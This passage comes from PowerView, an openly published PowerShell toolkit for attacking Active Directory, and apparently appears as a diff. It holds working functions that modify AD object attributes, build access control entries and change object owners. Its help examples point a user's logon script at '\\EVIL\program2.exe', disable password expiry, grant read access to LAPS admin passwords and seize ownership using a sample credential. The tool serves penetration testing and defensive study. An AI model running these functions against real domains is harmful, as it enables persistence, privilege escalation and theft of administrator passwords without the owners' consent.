[ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + BEGIN { + $SearcherArguments = @{ + 'Properties' = 'msds-replvaluemetadata','distinguishedname' + 'Raw' = $True + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['Properties']) { + $PropertyFilter = $PSBoundParameters['Properties'] -Join '|' + } + else { + $PropertyFilter = '' + } + } + + PROCESS { + if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } + + Get-DomainObject @SearcherArguments | ForEach-Object { + $ObjectDN = $_.Properties['distinguishedname'][0] + ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) { + $TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_VALUE_META_DATA' -ErrorAction SilentlyContinue + if ($TempObject) { + if ($TempObject.pszAttributeName -Match $PropertyFilter) { + $Output = New-Object PSObject + $Output | Add-Member NoteProperty 'ObjectDN' $ObjectDN + $Output | Add-Member NoteProperty 'AttributeName' $TempObject.pszAttributeName + $Output | Add-Member NoteProperty 'AttributeValue' $TempObject.pszObjectDn + $Output | Add-Member NoteProperty 'TimeCreated' $TempObject.ftimeCreated + $Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted + $Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange + $Output | Add-Member NoteProperty 'Version' $TempObject.dwVersion + $Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN + $Output.PSObject.TypeNames.Insert(0, 'PowerView.ADObjectLinkedAttributeHistory') + $Output + } + } + else { + Write-Verbose "[Get-DomainObjectLinkedAttributeHistory] Error retrieving 'msds-replvaluemetadata' for '$ObjectDN'" + } + } + } + } +} + + +function Set-DomainObject { +<# +.SYNOPSIS + +Modifies a gven property for a specified active directory object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +.DESCRIPTION + +Splats user/object targeting parameters to Get-DomainObject, returning the raw +searchresult object. Retrieves the raw directoryentry for the object, and sets +any values from -Set @{}, XORs any values from -XOR @{}, and clears any values +from -Clear @(). + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +.PARAMETER Set + +Specifies values for one or more object properties (in the form of a hashtable) that will replace the current values. + +.PARAMETER XOR + +Specifies values for one or more object properties (in the form of a hashtable) that will XOR the current values. + +.PARAMETER Clear + +Specifies an array of object properties that will be cleared in the directory. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose + +VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) +VERBOSE: Setting mstsinitialprogram to \\EVIL\program.exe for object testuser + +.EXAMPLE + +"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Set @{'countrycode'=1234; 'mstsinitialprogram'='\\EVIL\program2.exe'} -Verbose + +VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: +(&(|(objectsid=S-1-5-21-890171859-3433809279-3366196753-1108))) +VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object harmj0y +VERBOSE: Setting countrycode to 1234 for object harmj0y +VERBOSE: Get-DomainSearcher search string: +LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) +VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object testuser +VERBOSE: Setting countrycode to 1234 for object testuser + +.EXAMPLE + +"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Clear department -Verbose + +Cleares the 'department' field for both object identities. + +.EXAMPLE + +Get-DomainUser testuser | ConvertFrom-UACValue -Verbose + +Name Value +---- ----- +NORMAL_ACCOUNT 512 + + +Set-DomainObject -Identity testuser -XOR @{useraccountcontrol=65536} -Verbose + +VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) +VERBOSE: XORing 'useraccountcontrol' with '65536' for object 'testuser' + +Get-DomainUser testuser | ConvertFrom-UACValue -Verbose + +Name Value +---- ----- +NORMAL_ACCOUNT 512 +DONT_EXPIRE_PASSWORD 65536 + +.EXAMPLE + +Get-DomainUser -Identity testuser -Properties scriptpath + +scriptpath +---------- +\\primary\sysvol\blah.ps1 + +$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Set-DomainObject -Identity testuser -Set @{'scriptpath'='\\EVIL\program2.exe'} -Credential $Cred -Verbose +VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain +VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser)))) +VERBOSE: [Set-DomainObject] Setting 'scriptpath' to '\\EVIL\program2.exe' for object 'testuser' + +Get-DomainUser -Identity testuser -Properties scriptpath + +scriptpath +---------- +\\EVIL\program2.exe +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [Alias('Replace')] + [Hashtable] + $Set, + + [ValidateNotNullOrEmpty()] + [Hashtable] + $XOR, + + [ValidateNotNullOrEmpty()] + [String[]] + $Clear, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{'Raw' = $True} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + } + + PROCESS { + if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } + + # splat the appropriate arguments to Get-DomainObject + $RawObject = Get-DomainObject @SearcherArguments + + ForEach ($Object in $RawObject) { + + $Entry = $RawObject.GetDirectoryEntry() + + if($PSBoundParameters['Set']) { + try { + $PSBoundParameters['Set'].GetEnumerator() | ForEach-Object { + Write-Verbose "[Set-DomainObject] Setting '$($_.Name)' to '$($_.Value)' for object '$($RawObject.Properties.samaccountname)'" + $Entry.put($_.Name, $_.Value) + } + $Entry.commitchanges() + } + catch { + Write-Warning "[Set-DomainObject] Error setting/replacing properties for object '$($RawObject.Properties.samaccountname)' : $_" + } + } + if($PSBoundParameters['XOR']) { + try { + $PSBoundParameters['XOR'].GetEnumerator() | ForEach-Object { + $PropertyName = $_.Name + $PropertyXorValue = $_.Value + Write-Verbose "[Set-DomainObject] XORing '$PropertyName' with '$PropertyXorValue' for object '$($RawObject.Properties.samaccountname)'" + $TypeName = $Entry.$PropertyName[0].GetType().name + + # UAC value references- https://support.microsoft.com/en-us/kb/305144 + $PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue + $Entry.$PropertyName = $PropertyValue -as $TypeName + } + $Entry.commitchanges() + } + catch { + Write-Warning "[Set-DomainObject] Error XOR'ing properties for object '$($RawObject.Properties.samaccountname)' : $_" + } + } + if($PSBoundParameters['Clear']) { + try { + $PSBoundParameters['Clear'] | ForEach-Object { + $PropertyName = $_ + Write-Verbose "[Set-DomainObject] Clearing '$PropertyName' for object '$($RawObject.Properties.samaccountname)'" + $Entry.$PropertyName.clear() + } + $Entry.commitchanges() + } + catch { + Write-Warning "[Set-DomainObject] Error clearing properties for object '$($RawObject.Properties.samaccountname)' : $_" + } + } + } + } +} + + +function ConvertFrom-LDAPLogonHours { +<# +.SYNOPSIS + +Converts the LDAP LogonHours array to a processible object. + +Author: Lee Christensen (@tifkin_) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Converts the LDAP LogonHours array to a processible object. Each entry +property in the output object corresponds to a day of the week and hour during +the day (in UTC) indicating whether or not the user can logon at the specified +hour. + +.PARAMETER LogonHoursArray + +21-byte LDAP hours array. + +.EXAMPLE + +$hours = (Get-DomainUser -LDAPFilter 'userworkstations=*')[0].logonhours +ConvertFrom-LDAPLogonHours $hours + +Gets the logonhours array from the first AD user with logon restrictions. + +.OUTPUTS + +PowerView.LogonHours +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.LogonHours')] + [CmdletBinding()] + Param ( + [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [byte[]] + $LogonHoursArray + ) + + Begin { + if($LogonHoursArray.Count -ne 21) { + throw "LogonHoursArray is the incorrect length" + } + + function ConvertTo-LogonHoursArray { + Param ( + [int[]] + $HoursArr + ) + + $LogonHours = New-Object bool[] 24 + for($i=0; $i -lt 3; $i++) { + $Byte = $HoursArr[$i] + $Offset = $i * 8 + $Str = [Convert]::ToString($Byte,2).PadLeft(8,'0') + + $LogonHours[$Offset+0] = [bool] [convert]::ToInt32([string]$Str[7]) + $LogonHours[$Offset+1] = [bool] [convert]::ToInt32([string]$Str[6]) + $LogonHours[$Offset+2] = [bool] [convert]::ToInt32([string]$Str[5]) + $LogonHours[$Offset+3] = [bool] [convert]::ToInt32([string]$Str[4]) + $LogonHours[$Offset+4] = [bool] [convert]::ToInt32([string]$Str[3]) + $LogonHours[$Offset+5] = [bool] [convert]::ToInt32([string]$Str[2]) + $LogonHours[$Offset+6] = [bool] [convert]::ToInt32([string]$Str[1]) + $LogonHours[$Offset+7] = [bool] [convert]::ToInt32([string]$Str[0]) + } + + $LogonHours + } + } + + Process { + $Output = @{ + Sunday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[0..2] + Monday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[3..5] + Tuesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[6..8] + Wednesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[9..11] + Thurs = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[12..14] + Friday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[15..17] + Saturday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[18..20] + } + + $Output = New-Object PSObject -Property $Output + $Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonHours') + $Output + } +} + + +function New-ADObjectAccessControlEntry { +<# +.SYNOPSIS + +Creates a new Active Directory object-specific access control entry. + +Author: Lee Christensen (@tifkin_) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Creates a new object-specific access control entry (ACE). The ACE could be +used for auditing access to an object or controlling access to objects. + +.PARAMETER PrincipalIdentity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the domain principal to add for the ACL. Required. Wildcards accepted. + +.PARAMETER PrincipalDomain + +Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain. + +.PARAMETER PrincipalSearchBase + +The LDAP source to search through for principals, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Right + +Specifies the rights set on the Active Directory object. + +.PARAMETER AccessControlType + +Specifies the type of ACE (allow or deny) + +.PARAMETER AuditFlag + +For audit ACEs, specifies when to create an audit log (on success or failure) + +.PARAMETER ObjectType + +Specifies the GUID of the object that the ACE applies to. + +.PARAMETER InheritanceType + +Specifies how the ACE applies to the object and/or its children. + +.PARAMETER InheritedObjectType + +Specifies the type of object that can inherit the ACE. + +.EXAMPLE + +$Guids = Get-DomainGUIDMap +$AdmPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'ms-Mcs-AdmPwd'} | select -ExpandProperty name +$CompPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'Computer'} | select -ExpandProperty name +$ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity itadmin -Right ExtendedRight,ReadProperty -AccessControlType Allow -ObjectType $AdmPropertyGuid -InheritanceType All -InheritedObjectType $CompPropertyGuid +$OU = Get-DomainOU -Raw Workstations +$DsEntry = $OU.GetDirectoryEntry() +$dsEntry.PsBase.Options.SecurityMasks = 'Dacl' +$dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE) +$dsEntry.PsBase.CommitChanges() + +Adds an ACE to all computer objects in the OU "Workstations" permitting the +user "itadmin" to read the confidential ms-Mcs-AdmPwd computer property. + +.OUTPUTS + +System.Security.AccessControl.AuthorizationRule +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.Security.AccessControl.AuthorizationRule')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True, Mandatory = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String] + $PrincipalIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $PrincipalDomain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $True)] + [ValidateSet('AccessSystemSecurity', 'CreateChild','Delete','DeleteChild','DeleteTree','ExtendedRight','GenericAll','GenericExecute','GenericRead','GenericWrite','ListChildren','ListObject','ReadControl','ReadProperty','Self','Synchronize','WriteDacl','WriteOwner','WriteProperty')] + $Right, + + [Parameter(Mandatory = $True, ParameterSetName='AccessRuleType')] + [ValidateSet('Allow', 'Deny')] + [String[]] + $AccessControlType, + + [Parameter(Mandatory = $True, ParameterSetName='AuditRuleType')] + [ValidateSet('Success', 'Failure')] + [String] + $AuditFlag, + + [Parameter(Mandatory = $False, ParameterSetName='AccessRuleType')] + [Parameter(Mandatory = $False, ParameterSetName='AuditRuleType')] + [Parameter(Mandatory = $False, ParameterSetName='ObjectGuidLookup')] + [Guid] + $ObjectType, + + [ValidateSet('All', 'Children','Descendents','None','SelfAndChildren')] + [String] + $InheritanceType, + + [Guid] + $InheritedObjectType + ) + + Begin { + $PrincipalSearcherArguments = @{ + 'Identity' = $PrincipalIdentity + 'Properties' = 'distinguishedname,objectsid' + } + if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain } + if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential } + $Principal = Get-DomainObject @PrincipalSearcherArguments + if (-not $Principal) { + throw "Unable to resolve principal: $PrincipalIdentity" + } elseif($Principal.Count -gt 1) { + throw "PrincipalIdentity matches multiple AD objects, but only one is allowed" + } + + $ADRight = 0 + foreach($r in $Right) { + $ADRight = $ADRight -bor (([System.DirectoryServices.ActiveDirectoryRights]$r).value__) + } + $ADRight = [System.DirectoryServices.ActiveDirectoryRights]$ADRight + + $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$Principal.objectsid) + } + + Process { + if($PSCmdlet.ParameterSetName -eq 'AuditRuleType') { + + if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag + } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType) + } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { + New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType), $InheritedObjectType + } elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType + } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType + } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { + New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType, $InheritedObjectType + } + + } + else { + + if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType + } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType) + } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { + New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType), $InheritedObjectType + } elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType + } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType, $InheritanceType + } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { + New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType, $InheritanceType, $InheritedObjectType + } + + } + } +} + + +function Set-DomainObjectOwner { +<# +.SYNOPSIS + +Modifies the owner for a specified active directory object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +.DESCRIPTION + +Retrieves the Active Directory object specified by -Identity by splatting to +Get-DomainObject, returning the raw searchresult object. Retrieves the raw +directoryentry for the object, and sets the object owner to -OwnerIdentity. + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +of the AD object to set the owner for. + +.PARAMETER OwnerIdentity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +of the owner to set for -Identity. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y + +Set the owner of 'dfm' in the current domain to 'harmj0y'. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y -Credential $Cred + +Set the owner of 'dfm' in the current domain to 'harmj0y' using the alternate credentials. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String] + $Identity, + + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Alias('Owner')] + [String] + $OwnerIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + $OwnerSid = Get-DomainObject @SearcherArguments -Identity $OwnerIdentity -Properties objectsid | Select-Object -ExpandProperty objectsid + if ($OwnerSid) { + $OwnerIdentityReference = [System.Security.Principal.SecurityIdentifier]$OwnerSid + } + else { + Write-Warning "[Set-DomainObjectOwner] Error parsing owner identity '$OwnerIdentity'" + } + } + + PROCESS { + if ($OwnerIdentityReference) { + $SearcherArguments['Raw'] = $True + $SearcherArguments['Identity'] = $Identity + + # splat the appropriate arguments to Get-DomainObject + $RawObject = Get-DomainObject @SearcherArguments + + ForEach ($Object in $RawObject) { + try { + Write-Verbose "[Set-DomainObjectOwner] Attempting to set the owner for '$Identity' to '$OwnerIdentity'" + $Entry = $RawObject.GetDirectoryEntry() + $Entry.PsBase.Options.SecurityMasks = 'Owner' + $Entry.PsBase.ObjectSecurity.SetOwner($OwnerIdentityReference) + $Entry.PsBase.CommitChanges() + } + catch { + Write-Warning "[Set-DomainObjectOwner] Error setting owner: $_" + } + } + } + } +} + + +function Get-DomainObjectAcl { +<# +.SYNOPSIS + +Returns the ACLs associated with a specific active directory object. By default +the DACL for the object(s) is returned, but the SACL can be returned with -Sacl. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause 